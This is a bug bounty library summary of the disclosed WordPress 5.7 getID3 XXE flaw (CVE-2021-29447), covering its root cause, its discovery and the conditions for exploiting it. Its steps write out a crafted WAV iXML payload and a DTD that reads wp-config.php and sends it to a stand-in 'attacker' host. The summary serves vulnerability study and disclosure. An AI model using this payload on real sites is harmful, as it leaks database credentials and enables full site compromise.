# WordPress 5.7 XXE Vulnerability

Authenticated XXE in WordPress getID3 iXML parsing on PHP 8 lets an author upload a crafted WAV to read arbitrary files like wp-config.php via blind OOB exfil.

- Payout: unconfirmed
- Severity: high
- Program: WordPress
- Credited: Sonar
- Disclosed: 2021-04-27
- CVE: CVE-2021-29447
- Write-up quality: 8/10
- Original: https://blog.sonarsource.com/wordpress-xxe-security-vulnerability/
- Library page: https://bugbountylibrary.com/r/blog%3Ablog-sonarsource-com-wordpress-xxe-security-vulnerability
- Tags: domain:web impact:data-leak impact:internal-access kind:bounty platform:blog sev:high tech:php technique:blind technique:oob-exfil technique:source-review vuln:ssrf vuln:xxe

**Target:** WordPress media upload / getID3 iXML chunk parser (wp-includes/ID3)
**Root cause:** simplexml_load_string() is called with LIBXML_NOENT, which enables external entity substitution; the libxml_disable_entity_loader(true) guard was skipped on PHP 8 because it was deprecated, assuming libxml defaults suffice.
**Steps:**
1. Upload a WAV file whose iXML chunk contains a DOCTYPE defining parameter entity %sp pointing to attacker-hosted xxe.dtd
2. xxe.dtd defines %data as `php://filter/zlib.deflate/convert.base64-encode/resource=../wp-config.php` and %param1 building an exfil entity with URI `http://attacker/?%data;`
3. WAV body: `RIFFXXXXWAVEBBBBiXML<!DOCTYPE r [<!ENTITY % sp SYSTEM "http://attacker/xxe.dtd">%sp;%param1;]><r>&exfil;</r>` with BBBB = little-endian payload length
4. Trigger metadata parsing via media upload (wp_read_audio_metadata -> getID3 XML2array)
5. Read base64-deflated wp-config.php from attacker web server logs
**How found:** Static analyzer flagged simplexml_load_string with LIBXML_NOENT; researchers noticed the misleading comment claiming XXE protection and traced that the libxml_disable_entity_loader guard was skipped on PHP 8, then traced user-controlled iXML data from WAV uploads into XML2array.
**Exploitation:** Requires author-level media upload privileges and PHP 8. Attacker uploads crafted WAV; getID3 parses iXML chunk as XML with entity substitution, resolving external DTD and issuing an out-of-band HTTP request carrying the base64-encoded file contents to the attacker's server.
**Escalation:** Chained with any plugin or flaw allowing lower-privileged media upload; leaked wp-config.php DB credentials/auth keys can lead to full site compromise.
**Insight:** LIBXML_NOENT actually enables entity substitution despite its name; deprecation-driven conditional guards around libxml_disable_entity_loader can silently reopen XXE on PHP 8 even when comments claim protection.
